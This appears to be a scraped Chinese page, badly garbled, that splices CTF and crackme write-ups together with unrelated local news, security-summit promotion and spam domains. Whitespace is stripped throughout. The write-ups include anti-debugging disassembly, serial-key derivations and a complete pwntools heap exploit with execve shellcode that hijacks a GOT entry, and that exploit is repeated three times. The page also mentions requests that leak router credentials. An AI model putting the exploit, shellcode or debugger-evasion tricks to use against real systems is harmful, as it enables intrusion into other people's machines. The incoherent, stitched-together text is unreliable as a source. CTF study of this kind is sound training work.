口(如被调试,前台窗口是调试器窗口)00F520D8|.3BF4cmpesi,esp00F520DA|.E8B1FCFFFFcall00F51D90[,//输出"password:",并读取输入SN00F520DF|.8BF0movesi,eax00F520E1|.3BF5cmpesi,ebp00F520E3|.C745DC54727573movdwordptr[ebp-24],7375725400F520EA|.C745E0744D6500movdwordptr[ebp-20],654D7400F520F1|.8D45DCleaeax,[ebp-24]00F520F4|.50pusheax/Arg200F520F5|.56pushesi|Arg100F520F6|.E8353E0000call00F55F30\,//strstr(SN,"TrustMe")00F520FB|.83C408addesp,800F520FE|.85C0testeax,eax00F52100|.-7507jnzshort00F5210900F52102|.8BCEmovecx,esi//SN中必须有"TrustMe",否则提示"error!"00F52104|.E887FDFFFFcall00F51E9000F52109|682438F700push00F73824/Procname="ZwSetInformationThread"00F5210E|.683C38F700push00F7383C|/FileName=""00F52113|.8B3D20D0F600movedi,[0F6D020]||00F52119|.FFD7calledi|\|.50pusheax|hModule00F5211C|.8B1D24D0F600movebx,[0F6D024]|00F52122|.FFD3callebx\|.8BF0movesi,eax00F52126|.6A00push000F52128|.6A00push000F5212A|.6A11push11//ThreadHideFromDebugger,禁止调试事件00F5212C|.FF151CD0F600call[0F6D01C][|.50pusheax00F52133|.FFD6callesi//CallZwSetInformationThread,禁止调试事件00F52135|.C745FC00000000movdwordptr[ebp-4],000F5213C|.A138D1F600moveax,[0F6D138]00F52141|.A34C8CF700mov[0F78C4C],eax00F52146|.C745FCFEFFFFFFmovdwordptr[ebp-4],-200F5214D|.E821000000call00F52173[|.A14C8CF700moveax,[0F78C4C]00F52157|.3B0540D1F600cmpeax,[0F6D140]00F5215D|.-7535jneshort00F5219400F5215F|.6A00push0;/ExitCode=000F52161|.FF1514D0F600call[0F6D014]\|.8B1D24D0F600movebx,[0F6D024]00F5216D|.8B3D20D0F600movedi,[0F6D020]00F52173|$682438F700push00F73824ASCII"ZwSetInformationThread"00F52178|.683C38F700push00F7383CUNICODE""00F5217D|.FFD7calledi00F5217F|.50pusheax00F52180|.FFD3callebx00F52182|.8BF0movesi,eax00F52184|.6A00push000F52186|.6A00push000F52188|.6A11push11//ThreadHideFromDebugger,禁止调试事件00F5218A|.FF151CD0F600call[0F6D01C][|.50pusheax00F52191|.FFD6callesi//CallZwSetInformationThread,禁止调试事件00F52193|.C3retn00F52194|E847FEFFFFcall00F51FE0//判断后8位是否为"20161018",是,则返回1表示成功00F52199|.85C0testeax,eax00F5219B|.-7432jzshort00F521CF00F5219D|.6A09push9;//注册码为"TrustMe20161018",则提示成功00F5219F|.E8FB300000call00F5529F00F521A4|.C70073756363movdwordptr[eax],6363757300F521AA|.C7400465737321movdwordptr[eax+4],2173736500F521B1|.C6400800movbyteptr[eax+8],000F521B5|.8BD0movedx,eax00F521B7|.E8D4120000call00F53490[|.50pusheax00F521BD|.E8BE170000call00F5398000F521C2|.685038F700push00F73850ASCII"pause"00F521C7|.E8E43F0000call00F561B000F521CC|.83C40Caddesp,0C00F521CF|33C0xoreax,eax00F521D1|.8B4DF0movecx,[ebp-10]00F521D4|.64:890D00000000movfs:[0],ecx00F521DB|.59popecx00F521DC|.5Fpopedi00F521DD|.5Epopesi00F521DE|.5Bpopebx00F521DF|.8B4DE4movecx,[ebp-1C]00F521E2|.33CDxorecx,ebp00F521E4|.E8B6340000call00F5569F00F521E9|.8BE5movesp,ebp00F521EB|.5Dpopebp00F521EC\.C3retn关闭,禁用窗口的反调试:00F51F60$,[ebp-4],[0F6D01C][[0F6D018][,eax00F51F7C.-修改段寄存器00F51F7FE8dbE800F51F80/.5Fpopedi00F51F81|.5Epopesi00F51F82|.5Bpopebx00F51F83|.8BE5movesp,ebp00F51F85|.5Dpopebp00F51F86\.,[0F775E0]入口点00F51F8F.-EB02jmpshort00F51F9300F51F91E8dbE800F51F9279db79chary,[0F78C60]//[ebp-4],,,[0F775E0]入口点,0FABEE9000F51FAF.-7502jneshort00F51FB300F51FB1E8dbE800F51FB279db79chary00F51FB3/FF75FCpushdwordptr[ebp-4]00F51FB6|.0315648CF700addedx,[0F78C64]00F51FBC|.FFD2calledx//SendMessageWWM_DESTROY关闭前台窗口,如果开着调试器,调试器就退出了00F51FBE|.61popad00F51FBF|.6A00push0;/Enable=FALSE00F51FC1|.FF75FCpushdwordptr[ebp-4]|hWnd,//禁用前台窗口00F51FC4|.FF1548D1F600call[0F6D148]\|.5Fpopedi00F51FCB|.5Epopesi00F51FCC|.5Bpopebx00F51FCD|.8BE5movesp,ebp00F51FCF|.5Dpopebp00F51FD0\.C3retn后8位判断:00F51FE0/$55pushebp00F51FE1|.8BECmovebp,esp00F51FE3|.83E4F8andesp,FFFFFFF8;qword(8-字节)堆栈对齐方式00F51FE6|.83EC1Csubesp,1C00F51FE9|.A1DC65F700moveax,[0F765DC]00F51FEE|.33C4xoreax,esp00F51FF0|.89442418mov[esp+18],eax00F51FF4|.8B15588CF700movedx,[0F78C58]ASCII"12345678"00F51FFA|.56pushesi00F51FFB|.C74424180F00000movdwordptr[esp+18],0F00F52003|.C74424140000000movdwordptr[esp+14],000F5200B|.803A00cmpbyteptr[edx],000F5200E|.C644240400movbyteptr[esp+4],000F52013|.-7504jneshort00F5201900F52015|.33C9xorecx,ecx00F52017|.-EB10jmpshort00F5202900F52019|8BCAmovecx,edx00F5201B|.8D7101leaesi,[ecx+1]00F5201E|.8BFFmovedi,edi00F52020|8A01/moval,[ecx]00F52022|.41|incecx00F52023|.84C0|testal,al00F52025|.-75F9\jnzshort00F5202000F52027|.2BCEsubecx,esi00F52029|51pushecx00F5202A|.52pushedx00F5202B|.8D4C240Cleaecx,[esp+0C]00F5202F|.E8BC070000call00F527F000F52034|.837C24140Fcmpdwordptr[esp+14],0F;//判断SN长度,一定要15位00F52039|.-7524jneshort00F5205F00F5203B|.A1588CF700moveax,[0F78C58]ASCII"12345678"00F52040|.83C007addeax,700F52043|.50pusheax/Arg1,//后8位转数字00F52044|.A3588CF700mov[0F78C58],eax|00F52049|.E845410000call00F56193\,//atoi00F5204E|.83C404addesp,400F52051|.3DFAA13301cmpeax,133A1FA//比较SN后8位是否为十进制2016101800F52056|.-7507jneshort00F5205F00F52058|.BE01000000movesi,1//后8位为"20161018",返回100F5205D|.-EB02jmpshort00F5206100F5205F|33F6xoresi,esi00F52061|837C241810cmpdwordptr[esp+18],1000F52066|.-720Cjbshort00F5207400F52068|.FF742404pushdwordptr[esp+4]/Arg100F5206C|.E85F440000call00F564D0\|.83C404addesp,400F52074|8B4C241Cmovecx,[esp+1C]00F52078|.8BC6moveax,esi00F5207A|.5Epopesi00F5207B|.33CCxorecx,esp00F5207D|.E81D360000call00F5569F00F52082|.8BE5movesp,ebp00F52084|.5Dpopebp00F52085\.C3retn看雪论坛版主座谈,追忆往昔,眺望未来本次峰会,我们有幸邀请到了看雪学院创始人kanxue、中国个人站长第一人高春辉(左二)、看雪版主飞速(左三)、看雪老坛主CCdebuger(右三)、『外文翻译』版主zmworm(右二)、『智能设备』版主gjden(右一),讲述他们与看雪的这十几年的成长史及对互联网安全发展的期望。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528利用思路利用cheat在chunk中放置shellcode,修改got指向chunk中的shellcode相关结构体structx_acc{__int64field_0;charusername[16];charpassword[16];x_character*character;};structx_character{charname[16];__int64health;__int64stamina;__int64weight;__int64location;x_item*item_head;};structx_cheat_st{charname[16];charcontent[32];};structx_chunk{__int64ref_count;__int64size;chardata[1];};structx_item{__int64id;__int64weight;__int64count;x_item*next;__int64bullet;__int64power;};脚本###=Truefrompwnimport*importsysimporttimeimportrecontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./pwn7)ifargs[LOCAL]:io=process(./pwn7)else:io=remote(,8888)sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"defcmd_signup(username,password,character_name):(Signup==============================)(2)(inputyourusername)(username)(inputyourpassword)(password)(inputyourcharacter\sname)(character_name)()returndefcmd_login(username,password):(Signup==============================)(1)(Inputyourusername:)(username)(Inputyourpassword:)(password)returndefcmd_exit():()(0)returndefcmd_show():()(1)(===============================)(==============================)returndefcmd_item_enter():()(2)returndefcmd_item_leave():(YourChoice:)(str(-1))(wrongchoice)returndefcmd_item_view(id):(YourChoice:)(str(id))data=()(2)returndatadefcmd_item_delete(id):(YourChoice:)(str(id))()(1)data=()(2)returndatadefcmd_goto(location):()(3)()(str(location))returndefcmd_explore(l):()(4)(Youfind:)s=(2)ifs==no:(found)returns+=(0)(Doyouwanttopickupit)ifsinl:(y)else:(n)s=returnsdefcmd_explore_until_success(l):while1:item_name=cmd_explore(l)print(pickup:%s%item_name)ifnot(item_name==):(item_name)(1)returndefcmd_cheat(first,name,content):()(5)iffirst==1:(name:)(name)(content:)(content)else:(content:)(content)returndefexploit():username=a*8password=b*8character_name=c*8cmd_signup(username,password,character_name)cmd_login(username,password)#cmd_show()cmd_goto(1)cmd_cheat(1,x*8,y*0x18)#pickup2differentitemsl=[98k,S12K,AKM,M16A4,UMP45,SKS,M416,M24,Bandage,Drink,FirstAidKit]cmd_explore_until_success(l)cmd_explore_until_success(l)#deleteoneitem(initfreelist)cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#(io)#input()#putfakepointerinitem2buf=buf+=z*0x40#item1(freed)#item2headerbuf+=p64(1)#ref_countbuf+=p64(0x18)#size#item2buf+=p64([memcmp])#id(fakepointer)buf+=p64(0)#weightbuf+=p64(1)#countbuf+=p64(0)#nextbuf+=p64(0)#bulletbuf+=p64(0)#power#freelistbuf+=p64(0)#ref_countbuf+=p64(0x20)#sizebuf+=p64(0)buf+=p64(0)cmd_cheat(0,x*8,y*0x20+buf)#overwritetargetwithfreelist+0x10cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#copyshellcodetofreelist+0x10buf=buf+=z*0xA0buf+=sccmd_cheat(0,x*8,y*0x20+buf)cmd_exit()#triggermemcmp(callshellcode)cmd_login(username,password)()returnexploit()flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}类似于在6月的NotPetya攻击中所观察到的扩展名集。 涉及河流的相关县市区、乡镇、村要根据实际情况,积极开展河湖拆违清障、洁岸清污、河道治理等相关工作,共筑山青水绿、天蓝地洁的良好生态环境。原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。利用思路利用cheat在chunk中放置shellcode,修改got指向chunk中的shellcode相关结构体structx_acc{__int64field_0;charusername[16];charpassword[16];x_character*character;};structx_character{charname[16];__int64health;__int64stamina;__int64weight;__int64location;x_item*item_head;};structx_cheat_st{charname[16];charcontent[32];};structx_chunk{__int64ref_count;__int64size;chardata[1];};structx_item{__int64id;__int64weight;__int64count;x_item*next;__int64bullet;__int64power;};脚本###=Truefrompwnimport*importsysimporttimeimportrecontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./pwn7)ifargs[LOCAL]:io=process(./pwn7)else:io=remote(,8888)sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"defcmd_signup(username,password,character_name):(Signup==============================)(2)(inputyourusername)(username)(inputyourpassword)(password)(inputyourcharacter\sname)(character_name)()returndefcmd_login(username,password):(Signup==============================)(1)(Inputyourusername:)(username)(Inputyourpassword:)(password)returndefcmd_exit():()(0)returndefcmd_show():()(1)(===============================)(==============================)returndefcmd_item_enter():()(2)returndefcmd_item_leave():(YourChoice:)(str(-1))(wrongchoice)returndefcmd_item_view(id):(YourChoice:)(str(id))data=()(2)returndatadefcmd_item_delete(id):(YourChoice:)(str(id))()(1)data=()(2)returndatadefcmd_goto(location):()(3)()(str(location))returndefcmd_explore(l):()(4)(Youfind:)s=(2)ifs==no:(found)returns+=(0)(Doyouwanttopickupit)ifsinl:(y)else:(n)s=returnsdefcmd_explore_until_success(l):while1:item_name=cmd_explore(l)print(pickup:%s%item_name)ifnot(item_name==):(item_name)(1)returndefcmd_cheat(first,name,content):()(5)iffirst==1:(name:)(name)(content:)(content)else:(content:)(content)returndefexploit():username=a*8password=b*8character_name=c*8cmd_signup(username,password,character_name)cmd_login(username,password)#cmd_show()cmd_goto(1)cmd_cheat(1,x*8,y*0x18)#pickup2differentitemsl=[98k,S12K,AKM,M16A4,UMP45,SKS,M416,M24,Bandage,Drink,FirstAidKit]cmd_explore_until_success(l)cmd_explore_until_success(l)#deleteoneitem(initfreelist)cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#(io)#input()#putfakepointerinitem2buf=buf+=z*0x40#item1(freed)#item2headerbuf+=p64(1)#ref_countbuf+=p64(0x18)#size#item2buf+=p64([memcmp])#id(fakepointer)buf+=p64(0)#weightbuf+=p64(1)#countbuf+=p64(0)#nextbuf+=p64(0)#bulletbuf+=p64(0)#power#freelistbuf+=p64(0)#ref_countbuf+=p64(0x20)#sizebuf+=p64(0)buf+=p64(0)cmd_cheat(0,x*8,y*0x20+buf)#overwritetargetwithfreelist+0x10cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#copyshellcodetofreelist+0x10buf=buf+=z*0xA0buf+=sccmd_cheat(0,x*8,y*0x20+buf)cmd_exit()#triggermemcmp(callshellcode)cmd_login(username,password)()returnexploit()flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}一座新的汽车城正在桂东崛起。运行,OD附加前往401000,看着挺像处理代码的下断运行,输入sn后断下(运气挺好)这个应该是初始化luabytecode(看后面字符串,功能应该是xor)0040103D885C2436movbyteptrss:[esp+36],bl0040104188442437movbyteptrss:[esp+37],al00401045C644243807movbyteptrss:[esp+38],70040104A885C2439movbyteptrss:[esp+39],bl...初始化的栈信息0012FA4E0010927C0000000000001B4C4A02023B.抾......LJ;0012FA5E00020700030009360200003902010236....6..960012FA6E03000039030203120400001205010012..9...0012FA7E06010042030400430200000873756209.B.C.. string.0012FA9E00050175360100003901010112020000.u6..9..0012FAAE42010202080100005801028029010000B..X)..0012FABE4C010200360102003901030136020400L.6.96.0012FACE12030000290401004202030229037000..).B)6.96.0012FAEE12040000290502004203030229046500..).B)6.96.0012FB0E12050000290603004204030229056400..).B)6.96.0012FB2E12060000290704004205030229066900..).B)6.96.0012FB4E12070000290805004206030229077900..).B)6.96.0012FB6E12080000290906004207030229083100..)..B)6.96.0012FB8E12090000290A07004208030229093200...)..B).6.96..0012FBAE120A0000290B080042090302290A3300...) .B.).6..9..6..0012FBCE120B0000290C0900420A0302290B3400 ..)...B.) 6..9..6 .0012FBEE120C0000290D0A00420B0302290C3500...)...B ).6 .9  6..0012FC0E120D0000290E0B00420C0302290D3600...) .B.). 6..9..6..0012FC2E120E0000290F0C00420D0302290E3700..)..B.)....0012FC4E12100400121105001212060012130700....0012FC5E121408001215090012160A0012170B00..... .0012FC6E12180C004A0D0D000762790962786F72..J...bitlen string0012FC8E3D030002000600083600000027010100=...6....0012FC9E42000201330002003700030033000400B.3..7..3..0012FCAE370005004B000100096D61696E0007627..K...main.b0012FCBE7900086269740C726571756972650002y.0012FCCE0000FE55F9EAEBD15D00313233343536..㑳胙].1234560012FCDE00000000000000000000000000000000................0012FCEE00000000000000000000000000000000................0012FCFE00000000000000000000000000000000................lua初始化,43Cleaeax,dwordptrss:[esp+3C],380040220E85C0testeax,每个字符(恩,虽然是猜的,但是后面证明猜对了)lua_xor(sn[i])xor05120A2942417561358355940040222C55pushebp00,eax004022376AF5push-0B0040223956pushesi0040223A83F705xoredi,,eax004022446AF6push-0A0040224656pushesi0040224783F312xorebx,,eax004022516AF7push-90040225356pushesi0040225483F50Axorebp,,290040225F6AF8push-80040226156pushesi0040226289442458movdwordptrss:[esp+58],,420040226E6AF9push-70040227056pushesi0040227189442448movdwordptrss:[esp+48],,410040227D6AFApush-60040227F56pushesi0040228089442460movdwordptrss:[esp+60],,750040228C6AFBpush-50040228E56pushesi0040228F89442460movdwordptrss:[esp+60],,400040229B83F061xoreax,610040229E6AFCpush-4004022A056pushesi004022A189442418movdwordptrss:[esp+18],,35004022AD6AFDpush-3004022AF56pushesi004022B089442424movdwordptrss:[esp+24],,83004022BE6AFEpush-2004022C056pushesi004022C189442434movdwordptrss:[esp+34],,55004022CD6AFFpush-1004022CF56pushesi004022D089442444movdwordptrss:[esp+44],,94结果必须为:18161E2F4811213733865294004022F383FF18cmpedi,18004022F67554jnzshort0040234C004022F883FB16cmpebx,16004022FB754Fjnzshort0040234C004022FD83FD1Ecmpebp,1E00402300754Ajnzshort0040234C00402302837C24302Fcmpdwordptr[esp+30],2F004023077543jnzshort0040234C00402309837C241848cmpdwordptr[esp+18],480040230E753Cjnzshort0040234C00402310837C242811cmpdwordptr[esp+28],11004023157535jnzshort0040234C00402317837C242021cmpdwordptr[esp+20],210040231C752Ejnzshort0040234C0040231E837C241037cmpdwordptr[esp+10],37004023237527jnzshort0040234C00402325837C241433cmpdwordptr[esp+14],330040232A7520jnzshort0040234C0040232C817C241C86000cmpdwordptr[esp+1C],86004023347516jnzshort0040234C00402336837C242452cmpdwordptr[esp+24],520040233B750Fjnzshort0040234C0040233D817C242C94000cmpdwordptr[esp+2C],94004023457505jnzshort0040234C004023478D47E9leaeax,dwordptr[edi-17]0040234AEB02jmpshort0040234E0040234C33C0xoreax,eax没看lua代码,直接试了下voidtest(){BYTEkey1[12];//123456789012BYTEbuf1[12]={0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32};//call00412CE0的结果BYTEbuf2[12]={0x41,0x57,0x57,0x5D,0x4C,0x07,0x05,0x0B,0x0D,0x05,0x07,0x05};BYTEkey2[12]={0x05,0x12,0x0A,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94};BYTEexpected[12]={0x18,0x16,0x1E,0x2F,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94};for(inti=0;i12;i++){key1[i]=buf1[i]^buf2[i];}BYTEsn[13]={0};for(inti=0;i12;i++){sn[i]=key1[i]^key2[i]^expected[i];}printf(%s,sn);}maposafe2017先说一下如何过反调试,调试环境为ida和android模拟器,ida卡到不行啊,羡慕有真机的。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。,据贵港市市长农融介绍,全世界1300多种荷花,贵港辖区内就有800多种。 ,函数KiCommitThreadWait()添加线程,KiSignalThread()移除线程。图5显示了各种现实世界网站实现的比较,展示出大约有55%的性能改进。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。分析发现这是RSA算法,提供了N和D,输入e和p进行匹配。扩大参与面,激发市民的参与热情。 Satori家族重复使用Mirai代码,包括网络扫描器,telnet密码尝试和看门狗禁用(图4)。OD载入,输入123456,点确定半天没反应,忽然来个内存异常。  “贵港是国家西部大开发、东部产业转移等多重优惠政策叠加地区,政策和区位优势明显。。之后分析的进程注入技术都开源到这一个项目上。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528,www.vns22111.com、www.wnsr108.com、一些未文档化的结构在不同Windows版本间有所变化。 ,然而,这个函数是递归的,并且没有任何终止条件。利用思路利用cheat在chunk中放置shellcode,修改got指向chunk中的shellcode相关结构体structx_acc{__int64field_0;charusername[16];charpassword[16];x_character*character;};structx_character{charname[16];__int64health;__int64stamina;__int64weight;__int64location;x_item*item_head;};structx_cheat_st{charname[16];charcontent[32];};structx_chunk{__int64ref_count;__int64size;chardata[1];};structx_item{__int64id;__int64weight;__int64count;x_item*next;__int64bullet;__int64power;};脚本###=Truefrompwnimport*importsysimporttimeimportrecontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./pwn7)ifargs[LOCAL]:io=process(./pwn7)else:io=remote(,8888)sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"defcmd_signup(username,password,character_name):(Signup==============================)(2)(inputyourusername)(username)(inputyourpassword)(password)(inputyourcharacter\sname)(character_name)()returndefcmd_login(username,password):(Signup==============================)(1)(Inputyourusername:)(username)(Inputyourpassword:)(password)returndefcmd_exit():()(0)returndefcmd_show():()(1)(===============================)(==============================)returndefcmd_item_enter():()(2)returndefcmd_item_leave():(YourChoice:)(str(-1))(wrongchoice)returndefcmd_item_view(id):(YourChoice:)(str(id))data=()(2)returndatadefcmd_item_delete(id):(YourChoice:)(str(id))()(1)data=()(2)returndatadefcmd_goto(location):()(3)()(str(location))returndefcmd_explore(l):()(4)(Youfind:)s=(2)ifs==no:(found)returns+=(0)(Doyouwanttopickupit)ifsinl:(y)else:(n)s=returnsdefcmd_explore_until_success(l):while1:item_name=cmd_explore(l)print(pickup:%s%item_name)ifnot(item_name==):(item_name)(1)returndefcmd_cheat(first,name,content):()(5)iffirst==1:(name:)(name)(content:)(content)else:(content:)(content)returndefexploit():username=a*8password=b*8character_name=c*8cmd_signup(username,password,character_name)cmd_login(username,password)#cmd_show()cmd_goto(1)cmd_cheat(1,x*8,y*0x18)#pickup2differentitemsl=[98k,S12K,AKM,M16A4,UMP45,SKS,M416,M24,Bandage,Drink,FirstAidKit]cmd_explore_until_success(l)cmd_explore_until_success(l)#deleteoneitem(initfreelist)cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#(io)#input()#putfakepointerinitem2buf=buf+=z*0x40#item1(freed)#item2headerbuf+=p64(1)#ref_countbuf+=p64(0x18)#size#item2buf+=p64([memcmp])#id(fakepointer)buf+=p64(0)#weightbuf+=p64(1)#countbuf+=p64(0)#nextbuf+=p64(0)#bulletbuf+=p64(0)#power#freelistbuf+=p64(0)#ref_countbuf+=p64(0x20)#sizebuf+=p64(0)buf+=p64(0)cmd_cheat(0,x*8,y*0x20+buf)#overwritetargetwithfreelist+0x10cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#copyshellcodetofreelist+0x10buf=buf+=z*0xA0buf+=sccmd_cheat(0,x*8,y*0x20+buf)cmd_exit()#triggermemcmp(callshellcode)cmd_login(username,password)()returnexploit()flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}营地还以自由开阔、具有挑战性为主题,打造了丛林探险、高低空网阵、攻防箭、泡泡足球、真人CS野战、水上皮划艇、水上自行车、无动力乐园、场地自行车、趣味拓展、攀岩、平衡车等丰富多彩的群众性体育活动以及游玩项目。,  企业进驻后,跟进的是精准化服务。一些未文档化的结构在不同Windows版本间有所变化。会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。,idapro打开,来到main函数fgets(sn,260,stru_4090E0);v3=strlen(sn)-1;if(v38||v320){sub_401BE0(aKeyLenErrorD__);return0;}输入长度为8-20个字符if(v30){do{v6=sn[v5];if(v6=0||v69)++v4;++v5;}while(v5v3);if(v4){sub_401BE0(aKeyFormatError);return0;}}字符组成为1-9big_init(b1);v22=0;big_load(b1,sn);nullsub_1();big_mul((int)b1,9);sn做为大数*9,即b1=sn*9while(1){big_init3(b2,sn);LOBYTE(v22)=1;v7=big_mul2((int)b1,(int)b2);v8=big_mul((int)b1,9)+v7;nullsub_1();if(v8||big_len((int)b1)%2!=1)gotoLABEL_16;v9=big_len((int)b1);v10=big_val((int)b1,v91);v11=big_val((int)b2,0);v12=b2;if(v10==v11)break;LABEL_17:LOBYTE(v22)=0;sub_401390(v12);if(v8){sub_401BE0(aWrongKey___);gotoLABEL_19;}}循环计算b1=b1*sn*9,直到b1长度为奇数且b1[len/2]==sn[0],其中b2==snb2_len=big_len((int)b2)-1;v14=1-big_len((int)b2);b1_len=big_len((int)b1);v16=big_compare(b1,(int)b2,b1_len+v14,1,b2_len,0);v17=big_len((int)b2);if(big_compare(b1,(int)b2,0,1,v17-1,1)+v16){v8=0;LABEL_16:v12=b2;gotoLABEL_17;}sub_401BE0(aWellDone);正向和反向比较b1和sn,长度为sn-1,即sn[1]开始的数字,至此可以确定是在求回文数。有个这样的例子就是PTE转换,该PTE表示一个处于待命或修改状态的页。,通过下面两个请求的uri可以泄露账号和密码,美国网件系列默认用户名admin最后一位用做阻塞位。,而且大多数浏览器会通过抛出错误来应对,询问是否要终止网页。会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。秉承着技术与干货的原则,看雪学院于2017年11月成功举办了第一届安全开发者峰会,议题涵盖了安全编程、软件安全测试、智能设备安全、物联网安全、漏洞挖掘、移动安全、WEB安全、密码学、逆向技术、加密与解密、系统安全等,吸引了业内顶尖的开发者和技术专家,旨在推动软件开发安全的深入交流与分享,为安全人员、软件开发者、广大互联网人士及行业相关人士提供最具价值的交流平台。16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化